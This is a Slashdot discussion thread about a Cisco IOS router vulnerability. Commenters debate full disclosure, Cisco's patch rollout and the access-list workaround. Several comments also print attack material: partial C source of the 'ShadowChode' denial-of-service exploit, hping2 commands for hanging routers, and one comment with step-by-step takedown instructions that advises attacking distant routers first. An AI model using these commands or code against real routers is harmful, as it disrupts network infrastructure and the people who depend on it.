    Back in middle school, where they told us all, "here's exactly what drug x looks like, what it does,and how to get it & use it... but please don't use it. That would be bad!"
    4 years later... dang! Why are all the students on crack? :) aieee!

    --
    stuff |
    1. Re:That reminds me of "don't do drugs" camp by Anonymous Coward · · Score: 0

      You're a moron...

  40. Re:Importance of shaming they who published the ex by Florian+Weimer · · Score: 2, Insightful

    Importance of shaming those who published this exploit

    Why? Most ISPs are very grateful to have something to test if their countermeasures are effective.

    Do you really want to upgrade all your core routers at once, and take the risk of introducing a bug which brings down your whole network? It's often better to apply some workaround and schedule an incremental update. In this case, you really want to test if your workaround is effective.

  41. Who do you work with for chrissakes? by siskbc · · Score: 1
    I have been surprised at the lack of media attention of this issue, or how some of my technical colleges have treated it. They don't seem to understand how many Cisco routers are out there.

    Your colleagues don't realize how many Cisco routers are out there? What, are your colleagues monkeys or something? That's like saying they didn't know how many copies of windows are running out there. Man, do I feel sorry for you. How many emails do *you* get a day that consist of "What's my password?" ?

    --

    -Looking for a job as a materials chemist or multivariat

  42. Here is the exploit the article is talking about by saint10 · · Score: 2, Informative

    A big middle finger to all of the idiots that don't belive in full disclosure:

    Cisco IOS Exploit

    You can also easily create the exploit using hping2.

  43. Source for shadowcode Exploit by pope1 · · Score: 5, Informative
    In case you want to test this on your own routers (worked against my 1005.. sadly :P)

    Heres a link to the source in b64 format, you can extract it with:

    openssl base64 -d -in cisco.txt -out cisco.tgz

    Happy testing!

    --
    /* * pope1 */
  44. Re:Slightly more dangerous than a dos attack? by Anonymous Coward · · Score: 0

    or the old slashdotter up the penguin's ass

  45. Re:Here is the exploit the article is talking abou by Anonymous Coward · · Score: 0

    Does anyone have a windows 9x version?

  46. Re:Slightly more dangerous than a dos attack? by Anonymous Coward · · Score: 0

    Pull your head out of your ass. Cisco's already made the fixes available.

  47. Wanna check your routers? by zdzichu · · Score: 2, Interesting

    Here the exploit: http://www.securitylab.ru/_tools/shadowchode.tar.t ar
    It's .tar.gz file, incorrectly named.

    --
    :wq
  48. Congratulations. by moogla · · Score: 1

    You discovered the ruse. Click here to claim your prize. *

    * Prize not guaranteed

    --
    Black holes are where the Matrix raised SIGFPE
  49. The fix... by robpoe · · Score: 5, Informative

    The following access list is specifically designed to block attack traffic. Note that the attack traffic can include spoofed source addresses. This access list should be applied to all interfaces of the device, and should include topology-specific filters. This could include filtering routing protocol traffic, management protocols, and traffic destined for the internal network. Protocol 103 is Protocol Independent Multicast (PIM), which is a commonly deployed application in multicast networks.

    Interfaces with PIM enabled have not been found to be vulnerable to exploit traffic with protocol
    103; PIM traffic may be permitted to those select devices.

    access-list 101 deny 53 any any
    access-list 101 deny 55 any any
    access-list 101 deny 77 any any
    access-list 101 deny 103 any any
    !--- insert any other previously applied ACL entries here
    !--- you must permit other protocols through to allow normal
    !--- traffic -- previously defined permit lists will work
    !--- or you may use the permit ip any any shown here
    access-list 101 permit ip any any

    --
    = Grow a brain...
  50. 3y3 4m t3h GR34T35T! by Anonymous Coward · · Score: 0
    Firstus postus, beeeeeeochae!

    Bloat like a buggerfly, stink like a Klee!







    Pleeeeeease?!!!!

  51. I dont get it..... by Anonymous Coward · · Score: 1

    In the cisco workaround they say to deny 53 any any.

    Now wouldnt that block all incoming and outgoing DNS lookups?

    1. Re:I dont get it..... by Anonymous Coward · · Score: 1, Informative

      They refer to protocol 53 (swipe), not port 53 (domain).

  52. Re:Importance of shaming they who published the ex by gclef · · Score: 2, Insightful

    As I mentioned in your other post about this, this is *not* the CatOS patch. Cisco discovered this themselves. The discoverers did have to work with Cisco, since they were Cisco.

    No one outside Cisco had seen this until a few days ago. The problem is, once Cisco announced it, there were only so many combinations that could cause the problems they were mentioning, and someone found them, and posted it to Full-Disclosure.

  53. Re:Importance of shaming they who published the ex by row314 · · Score: 1

    With respect, you're partially right, but only partially, and the half-accurate stance you suggest is both attractive and dangerous.

    From a moral and ethical standpoint, yes, many exploit postings are done for bad reasons - to garner street cred, create havoc, etc. (Of course, some are posted to force an issue, or as a necessary part of getting information to those who need it to fix their systems, but that argument can be found in plenty of other places, so no need to rehash it here.)

    The thing to remember: from a practical standpoint, none of that matters one #$@% bit. Sure, it would be nice if "they" could be restrained by shame or any number of other things; it would also be nice if everyone's intelligence doubled every year. Bets, anyone?

    What's important is dealing with the results, not wishing for stuff that would be nice but is highly unlikely to ever happen. When flaw n shows up, we need to fix it or mitigate it as well as we can. Hopefully we can even learn from the flaw, and avoid similar ones in the future. Or, if we can't avoid getting nailed, we go with a fallback plan. ('Course, if things go badly enough, the only backup plan may be "Make your peace with $ENV{DEITY} && die();" but that's a separate issue. :) )

    I'm not saying that shaming a malefactor is a bad thing - if it improves the state of the world, great. However, it won't solve the immediate problem unless you can do it for every case, so for purposes of safety you might as well put effort into something that will actually help. When we're defending systems, we need to assume that attackers will do their worst, then plan and act accordingly. Avoiding a hole in our armor, or patching one when we find out about it, is much more logical than trying to get people to keep quiet about it.

  54. The code by Anonymous Coward · · Score: 0

    As mentioned needs libnet

    padding for the lame filter
    - - - -
    Qui minim dolor ut duis odio consequat consectetuer molestie. Tincidunt ea ut elit sed accumsan veniam, eum nostrud vulputate, aliquam nulla exerci nisl hendrerit illum vulputate. Praesent commodo nibh nibh veniam odio hendrerit suscipit, consequat nulla enim, lobortis ea velit. Lorem molestie ut feugait, ut consequat, exerci praesent nostrud, luptatum tincidunt eros et zzril duis, ullamcorper volutpat dolore minim wisi dolore eu blandit delenit. At duis magna vel odio dolore ipsum ut enim dolore exerci veniam facilisis ex delenit illum ut nulla ut inQui minim dolor ut duis odio consequat consectetuer molestie. Tincidunt ea ut elit sed accumsan veniam, eum nostrud vulputate, aliquam nulla exerci nisl hendrerit illum vulputate. Praesent commodo nibh nibh veniam odio hendrerit suscipit, consequat nulla enim, lobortis ea velit. Lorem molestie ut feugait, ut consequat, exerci praesent nostrud, luptatum tincidunt eros et zzril duis, ullamcorper volutpat dolore minim wisi dolore eu blandit delenit. At duis magna vel odio dolore ipsum ut enim dolore exerci veniam facilisis ex delenit illum ut nulla ut inQui minim dolor ut duis odio consequat consectetuer molestie. Tincidunt ea ut elit sed accumsan veniam, eum nostrud vulputate, aliquam nulla exerci nisl hendrerit illum vulputate. Praesent commodo nibh nibh veniam odio hendrerit suscipit, consequat nulla enim, lobortis ea velit. Lorem molestie ut feugait, ut consequat, exerci praesent nostrud, luptatum tincidunt eros et zzril duis, ullamcorper volutpat dolore minim wisi dolore eu blandit delenit. At duis magna vel odio dolore ipsum ut enim dolore exerci veniam facilisis ex delenit illum ut nulla ut in.

    -------------
    /**
    * ShadowChode - 0daze b0mb th4 fUq 0uT uV m0zT aNy c1sK0 r0ut3rz!@#
    *
    * Ping target router/switch for TTL to host. Subtract that number from 255
    * and use that TTL on the command line. The TTL must equal 0 or 1 when it
    * reaches the target. The target must accept packets to the given target
    * interface address and there are some other caveats.
    *
    * BROUGHT TO YOU BY THE LETTERS C AND D
    *
    * [L0cK]
    */

    #include <stdio.h>
    #include <sys/types.h>

    #include "libnet.h"

    #define MIN_PAYLOAD_LEN (26)

    #define CLEANUP { \
    libnet_destroy(lh); \
    free(payload); \
    }

    int
    main(int argc, char *argv[])
    {
    char errbuf[LIBNET_ERRBUF_SIZE];
    libnet_t *lh;
    u_long dst_addr;
    int ttl;
    int payload_len;
    char *payload;
    libnet_ptag_t data_tag;
    libnet_ptag_t ip_tag;
    int i;
    int len;
    int protocols[] = { 53, 55, 77, 103 };
    struct libnet_stats ls;

    lh = libnet_init(LIBNET_RAW4, NULL, errbuf);

    if (lh == NULL) {
    (void) fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
    exit(-1);
    }

    if (argc != 3 || (dst_addr = libnet_name2addr4(lh, argv[1], LIBNET_RESOLVE) == -1)) {
    (void) fprintf(stderr, "Usage: %s <target> <ttl>\n", argv[0]);
    libnet_destroy(lh);
    exit(-1);
    }

    { /* OH WAIT, ROUTE'S RESOLVER DOESN'T WORK! */
    struct in_addr dst;

    if (!inet_aton(argv[1], &dst)) {
    perror("inet_aton");
    libnet_destroy(lh);
    exit(-1);
    }

    dst_addr = dst.s_addr;
    }

    ttl = atoi(argv[2]);

    libnet_seed_prand(lh);

    len = libnet_get_prand(LIBNET_PR8);

    /* Mmmmm, suck up random amount of memory! */

    payload_len = (MIN_PAYLOAD_LEN > len) ? MIN_PAYLOAD_LEN : len;

    payload = (char *) malloc(payload_len);

    if (payload == NULL) {
    perror("malloc");
    libnet_destroy(lh);
    exit(-1);
    }

    for (i = 0; i < payload_len; i++) {
    payload[i] = i;
    }

    data_tag = LIBNET_PTAG_INITIALIZER;

    data_tag = libnet_build_data(payload, payload_len, lh, data_tag);

    1. Re:The code by njchick · · Score: 2, Interesting

      Why does the author put "(void)" before every fprintf()? Can it be some kind of hidden signature?

    2. Re:The code by MonMotha · · Score: 1

      I would presume s/he's casting it to type void so that a very pedantic person wouldn't complain about her/his not checking the return status.

  55. worse if it does furthest hosts first by Brian+Ristuccia · · Score: 1

    I just realized I made a small error in the above pseudocode. If you successfully hang closer routers you won't be have connectivity to more distant ones, so distant routers should be tried first. If the for loop is changed to read for $hopnum ($#hops..5), the effect is much greater assuming an equal number of vunerable routers.

    Patch your vunerable Cisco gear ASAP!

  56. Re:Importance of shaming they who published the ex by realdpk · · Score: 3, Insightful

    Without full disclosure, what % of the routers out there would be patched right now? 10? Maybe.

    It sounds to me like Cisco needs to get their genius engineers together to come up with a better way to distribute IOS images - one that does not involve e-mail, perhaps!

    What the people did _was_ cool. They contacted Cisco a while back. Then they released the exploit almost *2 days* after the patch was announced.

    Nice try bringing slavery in to this. That's rediculous.

    "most harmful thing to it they could have possibly done." Please. Even if they released it 2 seconds before the patch was available, the Internet may have had instability for a day or two while Cisco ships out CDRs to everyone so they can fix it.

    To those that choose full disclosure for security - I applaud you! I really appreciate having a program available that allows me to test if my systems are vulnerable and remain vulnerable post-patching.

  57. Re:Importance of shaming they who published the ex by Anonymous Coward · · Score: 0

    > I just don't want this to pass over and the
    > people who made this exploit public think that > what they did was cool, or that they are going
    > to get a lot of admiration or karma for it. If
    > they like the Internet, which they probably
    > do, they just did the most harmful thing to it
    > as they could have possibly done.

    Wrong.

    Whatever happened to the principle of accountability? If Cisco created this bug, this must be held accountable for it's effects.

    I hold just about every technical Cisco ceritification save for the CCIE Security cert, and I believe it's important for vulnerabilities to be brought to the public domain. If not, we shield the manufacturers and those liable for the bug from their natural responsibilities and accountability. What would be the impetus for Cisco to patch their code quickly if they could rest on the complacency of knowing their flaws could be swept under the rug?

    Do you want to know why Cisco patched their code so quickly? Because they were afraid. They have a reputation to maintain as a premier provider of networking solutions. They know there are plenty of script kiddies and network security professionals alike that would have learned this exploit sooner or later. Better to come public (even without exploit details) than to have someone with libnet and a sniffer surreptitiously discover this bug and use it maliciously well before anyone could take protective measures. If Cisco boxes get pummelled out in the field, then so be it. It will be that much less likely to happen in the future. The best remembered lessons are those learned the hard way.

    So I congratulate Cisco for being upfront and showing all their cards to their customers. Their integrity will be rewarded for it.
    However, I also congratulate those who published the exploit for keeping manufacturers like Cisco honest and forcing the industry to "keep the bar high". It benefits everybody and helps to ensure a more secure internet after the fact.

  58. a poorly coded exploit by Anonymous Coward · · Score: 0

    The script kiddie should have include(d) for the *alloc functions. The malloc cast is unnecessary and wrong by ANSI-C standard. He casts fprintf void which means he's explicitly discarding the return which is confusing. He never checks return values on a lot of the libnet functions. What if the fail?

    Bad script kiddie; no props for you.

  59. hmm by Anonymous Coward · · Score: 0

    shadowchode.tar.gz

    la la la la laaaaaaaaaaaaaaa

  60. Re:Importance of shaming they who published the ex by lanner · · Score: 1

    I am not against making the exploit public at all -- just not within the first few days of the exploit discovery. Considering the quantity of systems effected and the fact that many Cisco devices are remote makes patching difficult.

    Personally, I want to throw the exploit against some of my own equipment just for fun too.

    There will be Cisco devices vulnerable to this exploit for years to come. As a consultant, I commonly come across old Cisco routers that have not had their software upgraded in years. Not every sysadmin knows how to deal with a Cisco -- they just pass traffic through it.

  61. Re:Importance of shaming they who published the ex by Penguinshit · · Score: 1

    There'd been a bunch of stuff going around on FD about it that I was under the impression that the two subjects were related since the effect was largely the same (send specially-crafted packets, port fills up, shuts down, requires reboot of switch).

    I still say the release of exploit code is no big deal in this case. As you said, the combos were limited, so anyone with half a clue could figure it out without someone releasing code.

  62. Re:Importance of shaming they who published the ex by lanner · · Score: 1


    I like full disclosure -- just not within 48 hours of such a major vulnerability.

    Almost two days is not sufficient time given the quantity of systems that this problem effects and the severity of the problem.

  63. What is painful by Anonymous Coward · · Score: 0

    Twisting around and bending backwards like that to kiss your own Ass ?

    Maybe next week uncle Billy Bob will come here with his own sore back and brag about how he removed your C code in favor asm code to get a cool 30% increase in speed.

    But of course we all know that EASE of updating and cutting edge tech just went out the window......

  64. Re:Importance of shaming they who published the ex by Anonymous Coward · · Score: 0

    If you look at the IOS builds that have the fix in them they are from about 10 weeks ago. In some cases there are 2 8-week incremental builds of a major IOS branch that aren't vulnerable.
    Most likely they alerted certain govenment agencies after posting the fix, and waited for an all-clear before they publicly announced it. If you happened to use a recent IOS you were already fine - unfortunately updating IOSs is often more dangerous than not so most people will be running older IOS unless notified.

  65. And I found that removing my right leg by Anonymous Coward · · Score: 0

    and shoving it up my ass that it's easier to crawl out of bed in the morning.

  66. Re:dDoS Solution is available ... by Anonymous Coward · · Score: 1, Funny

    I think your sig should be "Thomas J. Advertisement interim CEO/Founder/Shameless Slashdot Shill - Melior, Inc."

  67. Re:dDoS Solution is available ... by tjack · · Score: 0

    LOL, at least I sign and stand for what I say...

    Seriously, though, would you not agree that the benefit of getting the word out outweighs the risk of getting flames, such as yours?

    --
    Thomas J. Ackermann interim CEO/Founder - Melior, Inc. iSecure - CyberWarfare Defense www.dDos.com thomas@ddos.com
  68. Re:dDoS Solution is available ... by Anonymous Coward · · Score: 0

    Right now my post is +1 Funny and your post is -1 Troll. So much for getting the word out.

  69. hping2 exploit by SonicRaT · · Score: 1

    For those of you who are attempt to workaround this, and happen to have hping2, here's how to do it. To get the TTL, just ping the destination and subtract from 255, for instance a ping with TTL 251, you'd enter 4. Choose which protocol to use of the four.

    hping2 (dest ip) -0 -t (ttl from above) -H (53,55,77, 103) -d 128 -E /dev/urandom

    1. Re:hping2 exploit by kemikalzen · · Score: 1

      What exactly are the protocols 53,55,77, 103 and where can i read up on them ?

  70. MODERATORS! by Anonymous Coward · · Score: 0
    Disclaimer: I don't troll, but I may disagree with you. Learn the difference...

    If an e-mail contains the sentence "this is not spam", my spam-filter automatically cans it. And in 99.9999% of these cases my filter's decision turns out to be right.

    If in a conversation, somebody says "I don't like to criticise you, but...", expect that follows a criticism of you.

    If a car mechanic tells you "trust me, I'll have your car ready by next Wednesday, no problem!", you can be sure that it won't be ready.

    Likewise, if a slashdot post says "I don't troll", the smart moderator moderates accordingly...

    1. Re:MODERATORS! by el-spectre · · Score: 1

      Ah, but the insightful one gets the point :)

      --
      "Faith: Belief without evidence in what is told by one who speaks without knowledge, of things without parallel." - A.B.
  71. Re:Importance of shaming they who published the ex by rekoil · · Score: 1

    The CatOS bug only kills management traffic to the router - telnet, ssh, http, etc. Traffic going *through* the router remains unaffected.

    The IOS bug causes the affected interface to drop all incoming traffic, management or production.

    Now it's possible that a common bug could have causeed both, and it's also possible that the CatOS bug prompted Cisco to take a closer look at the IOS code and led to the discovery of this one. But by all accounts, the IOS bug was discovered internally by Cisco engineers. The exploit was found by someone else after the vulnerability was announced.

  72. Shig by Anonymous Coward · · Score: 0

    Shiggity shiggity shwa!

  73. Easy way to do it.. by Anonymous Coward · · Score: 1, Interesting

    Here's how to take a router down:

    Assuming you're using debian.

    apt-get install hping2

    ping

    Subtract x in ttl=x from 255

    then run:

    hping2 -t -H 55 -d 128 -E /dev/urandom

    enjoy...

    and remember.. if you take down your ISPs gateway first you won't be able to do further damage.. start from the outside in.

    1. Re:Easy way to do it.. by SonicRaT · · Score: 1

      gee, a little bit like mine wouldn't you say? Especially using /dev/urandom with 128 as the data size. and you're missing -0, and some releases won't use H unless -0 is specified for raw mode.

  74. Just how long has Cisco known about this? by riaasucks · · Score: 2, Interesting

    If you look at the release dates of some of the code that is not vulnerable to this attack, it goes back to early June. To me, it looks like this was identified almost two months ago. The question then is: Was this suddenly announced once a planned mile-marker in IOS revisions had been met....or once they suspected the exploit was in the wild?

    1. Re:Just how long has Cisco known about this? by Anonymous Coward · · Score: 1

      Seeing the number of images with the fix, it probably took some time to have them all compiled (goes back to 11.1CA which is what... 6 years old ?... for all feature sets and all platforms !)

    2. Re:Just how long has Cisco known about this? by Nick+Driver · · Score: 1

      The two IOS versions containing this fix for my main Internet border router have been out since March 2003. The newest one was early June, so I downloaded that and installed it. Took less than 30 minutes for the entire procedure from the time I began searching their website for the version I wanted to use, until I reloaded the router with the new one installed. It sure is nice to have Cisco Smartnet maintenence and an employer who understands how important it is to keep up maintenance agreements on mission critical systems.

  75. Re:Importance of shaming they who published the ex by Cyno · · Score: 1

    That is less than 48 hours to upgrade the hundreds of thousands (if not million+) Cisco routers across the world.

    So do them in parallel.

    Hell, give me access. I'll upgrade a few million routers in less than 48 hours, no prob.

    And I am a lazy pothead sys admin. I don't even work on routers.

  76. If you can't build a Win9x version... by Anonymous Coward · · Score: 0

    From the posted source, you shouldn't have it anyway. Now, go away.

  77. Re:Here is the exploit the article is talking abou by roachmotel3 · · Score: 1

    How is this a big middle finger to people that don't believe full disclosure is a good idea for something of this gravity? Major ISP's and Major providers (for which I work) didn't hear about this but 48 hours before the exploit was made public.

    Cisco tried their hardest to prevent info from getting out to make it easy to create an exploit, but data was leaked. What has this done? It's left hundreds of thousands to millions of routers, with not nearly enough admins to patch, vulnerable to the losers who have already posted (in reply to your message no less) "Is there a win9x version?". What do you think HE is going to do with it? Test his network? Hah!

    I believe in full disclosure, and I wish that I had been more in the know during this process, but I have to ask myself why? I wanted to be more in the know so that I could feel more important than other people. Boy, that's selfish. Maybe you should consider that there are more important things than getting a 'sploit -- like giving the INTERNET an opportunity to respond to a major threat.

    That, or you could be segmented from your favorite pr0n site. Your choice.

  78. As I said by rf0 · · Score: 1

    here

    " I'm going to say an exploit by tommorow. End of the internet by Sat. All back to normal on Monday"

    Rus

  79. I've been reading too much slashdot... by mcrbids · · Score: 1

    worked against my 1005.. sadly :P)

    As I first saw this, and figured you'd mis-spelled 10053, because there really SHOULD be an "e" at the end... Then realized that "loose" doesn't fit in the sentence.

    Ah well. Stupid me.

    -Ben

    --
    I have no problem with your religion until you decide it's reason to deprive others of the truth.
    1. Re:I've been reading too much slashdot... by pope1 · · Score: 1
      haha, no l33t sp34k here, i was actually talking
      about the cisco model 1005 i have, the
      smallest commercial router i think they
      offer, 1 10-base port and 1 PDU port.

      --
      /* * pope1 */
  80. Tin Foil Hat Time by 4of12 · · Score: 1

    So far it has been 4 hours since my e-mail... no response whatsoever

    Lemme guess.

    Your request for help to cisco.com is not really going to go to 198.133.219.25 but to, uhm, a new different, uh, help center, that will be happy to send you an IOS sploit^H^H^H^H^H^H update to have you up and going in a jiffy.

    --
    "Provided by the management for your protection."
  81. Re:Importance of shaming they who published the ex by davew · · Score: 1

    You serious? Sure, go nuts. I look forward to seeing what happens when the build you pick for a router three hops down doesn't support the STM-4 card you had in there, and stops you reaching the 20 networks behind it. Oh, and there's one over here that's running a new build with a BGP bug, so these 100 have fallen off the network. And three of these six in New York just plain didn't come back, we're not sure why yet. You've got out of band access to them all, right? right?

    Upgrade with care. Even the most reliable kit develops problems a small percentage of the time; a small percentage of a lot of kit is a lot of kit.

    Dave

  82. Uhh...without disease, we wouldn't make cures? by bartwol · · Score: 1

    What incentive would we have to defend ourselves if we didn't have predators to threaten us?

    Sounds like smarter living through adoption of stupidity, and a long way around the block if you ask me.

  83. Re:Here is the exploit the article is talking abou by knightrdr · · Score: 1

    Maybe corporations need to think a little longer and a little harder before they downsize their IT staff? :)

  84. Thanks a lot CISCO by Anonymous Coward · · Score: 0

    It's a real good thing that this one can be fixed
    with an access list, because what CISCO *doesn't*
    mention when they so "responsibly" provide
    upgraded IOS versions is that they are not going
    to provide fixes for versions they consider
    obselete... and the ones they do provide will not
    fit into the flash or RAM available on a lot of
    routers out there. If it were not for the
    access-list workaround several people would be
    left naked with no shelter on this one until they
    buy new hardware.

    Not to mention the fact that it is often the case
    that you can buy a router from CISCO and, when you
    buy it, buy the maximum amount of flash and RAM
    available for that model, and *still* find that
    by the time you receive the product, the latest
    IOS version requires more than you have. We've
    even had situations where the amount of flash to
    run a current IOS on a particular chassis was not
    even available for the chassis when we ordered the
    router. (Stuff like this doesn't happen so much
    in the low-end/CPE market but for core routers it
    happens all the time.)

    CISCO isn't the only one but this is completely
    inconsiderate if not intentional (and possibly
    criminal). It simply is not possible, even in a
    cluster-f**k huge corporation, for this type of
    mistake to be made over and over and over without
    someone from hardware correctly anticipating
    the size and footprint of IOS to offer a product
    that doesn't need a hardware upgrade every single year.

    1. Re:Thanks a lot CISCO by Anonymous Coward · · Score: 0

      According to what I hear, the bug was introduced in 1994.. in a patch that was integrated into 10.0(6.1) and 10.2(1.6) (this was from someone from Cisco posting on the NANOG mailing list)

  85. Re:Importance of shaming they who published the ex by Anonymous Coward · · Score: 0

    you're a dork.
    Get a life. You've never seen a cisco in your life.

  86. No worries here by dnight · · Score: 1

    I was contacted last night by UUnet, and tonight they are adding ACLS to all of my edge routers.

    Myself, I'm drinking a beer. :) I love outsourcing.

  87. ACLs not enough by Anonymous Coward · · Score: 0

    Ingress filtering on a Cisco via ACLs is only effective on the 75xx class routers.

    On other Cisco IOS products, the input queue processing preceeds the ACL processing, so these devices can be DoS'd no matter what ACLs are in place.

    1. Re:ACLs not enough by Florian+Weimer · · Score: 1

      Ingress filtering on a Cisco via ACLs is only effective on the 75xx class routers.

      On other Cisco IOS products, the input queue processing preceeds the ACL processing, so these devices can be DoS'd no matter what ACLs are in place.


      You should contact Cisco PSIRT and tell them to correct their adviory if this is really the case.

  88. Re:Importance of shaming they who published the ex by maggotbrain_777 · · Score: 1

    Well, I would hope that if one is running a shop with a large quantity of Cisco boxes, one would have taken the neceesary time to lock down these boxes to prevent unnecessary access to them. Whether it means stting up ACLs at the edge of your network to prevent bogus/unauthorixed access to the devices/interfaces, or ACLs on the boxen themselves this should have been done a loong time ago. Granted you don't want an excessive (or any, for that matter) ACLs on your core router. A good engineer, IMNSHO would have limited up the amount of amount of protocols/sources accpeted by critical pieces of infrastructure.
    As an aside, what is a good time to release the exploit into the wild? What if the exploit was exploited _prior_ to Cisco getting the word out on the recommended fix? Would you have preferred 72 hours, or maybe after you returned from your summer vacation ;-)

  89. Re:Importance of shaming they who published the ex by slcdb · · Score: 1

    The truth of the matter is that Cisco is not the only network equipment maker out there. And there's a good chance that a lot of routing code that IS out there is shared by several different vendors' equipment. How could makers of non-Cisco equipment test their equipment to ensure that it doesn't suffer the same flaw without any specific details and without an exploit? How could customers who own non-Cisco equipment be sure that their networks are safe?

    --
    Despite what EULAs say, most software is sold, not licensed.
  90. Re:Importance of shaming they who published the ex by Anonymous Coward · · Score: 0

    I work for a very big ISP.

    Our chief security officer was urging people to soft-peddle the vulnerability and our response to it, because it was very difficult to exploit, and an exploit wouldn't be widely available for weeks.

    The presence of the exploit and its successful deployment against sacrificial goat networks shut him up.

  91. Re:dDoS Solution is available ... by Anonymous Coward · · Score: 0

    sounds like you are a jerk. what was that all about?

  92. Re:Importance of shaming they who published the ex by Anonymous Coward · · Score: 0

    crap crap and crap

    if this patch is so important, then you act on it straight away.... even 24 hours is enough!

    BUT if you've read the vulnerability info, and looked at the exploit, you'd see that this issue
    isnt as bad as it seems.

  93. My fame precedes me? (-: by leonbrooks · · Score: 1

    Bob Brooks (dear old Dad) has made significant contributions in the Australian mining industry, his twin Colin Brooks is a well-known consulting geologist, their brother Don Brooks runs Harvestaire, and grandpa Charles Alfred Brooks made himself famous for finding things out about sports that helped people to do them better, but yes, the man you really want is Fred Brooks, famous for statements like "adding manpower to a late project makes it later".

    My main claim to fame seems to be for abusing people in public (-: For which I am indebted to several skilled exemplars, who probably all know who they are :-)

    Kudos to Russel Steicke for pointing out this post to me.

    --
    Got time? Spend some of it coding or testing
  94. Re:Here is the exploit the article is talking abou by roachmotel3 · · Score: 1

    Maybe, but in reality, what's happened here is a vendor has just come to you and said, "Hi there! Guess what, there's been a bug in our code since day one, an amazingly simple little thing that no one has noticed till now. You should trust us to find these things earlier, but we've violated that trust and proven that we're no good at catching bugs in IOS. The fix is to run this sparkly new IOS that no one has ever used before! Please, install this on all your routers and switches within the next 36 hours because there's gonna be an exploit out."

    The first thing that any logical person who's dealt with a vendor in the past must think is, "Oh crap, new, untested version that I have to deploy to all of the routers across my enterprise within 36 hours. There's a good chance that this vendor who has proven they can't catch bugs is going to have another bug in the software, causing my network to crash".

    In this case, it doesn't matter how many members of the IT staff you have or don't have. If they were able to keep their information closer to the vest for another week or two (which they were trying to do, but people who believe in immediate full disclosure decided to derail that), businesses would have been able to burn in the new code to make sure that all of their requirements are met and that there are no other bugs that regression testing would have found.

  95. Specially Crafted IPv4 Packets? by Ballresin · · Score: 1

    I am in CCNA training right now (Sem 3 done), and I can bring a router from nothing to fully operational using different protocols and routing methods in a short matter of time. I don't know how to make a specially crafted IPv4 packet. Anybody know how to do this? And does anybody know the code to the said packet? Or is this just a specially long packet? I'm curious.

    --
    I got nothin'.
  96. Re:Importance of shaming they who published the ex by Cyno · · Score: 1

    You're right, I was talking out my ass.

    But I bet maybe you and I could do it, with enough time, a database of details and perl/expect. ;)

    There are only a certain number of possible combinations of Cisco router hardware. If we knew their current state of hardware and software revisions, it should be possible to custom build an ios prom or patch the existing os to bring it in line with production.

    Well, that's the way I look at these things. Let the software hash out the details, just make sure you get all the bases covered and run the script through intensive QA before deployment.

    I bet a Cisco CCIE could do it. They can do anything.

  97. Re:Importance of shaming they who published the ex by davew · · Score: 1

    Thanks for being honest. :D I gotta admit, I was feeling a bit ratty last night when I posted too.

    Thing is, in theory the upgrades would go fine; in practice they won't - you'll hit SOME funny that you couldn't have predicted, and the consequences are just too serious to let it go. The longer you have to plan and enact the upgrade, the smoother it'll go, and the less hurt you'll cause your customers.

    I've got an 8-hour day planned tomorrow (Sunday) do upgrade our network at work, and we're looking at that much time just to do the critical boxes (20-odd) with leeway for funnies, and in an order that lets us recover if it goes to shit somewhere. We'll be doing a little parallel stuff, but not much. In theory I could upload the IOSes to the flash cards tonight, log in tomorrow from home and run ./reload-all -- but I'd be a bit screwed if any one of them had a funny I didn't know about.

    You're right though. Cisco CCIEs are one step from godhood. I fear them. :)

    Dave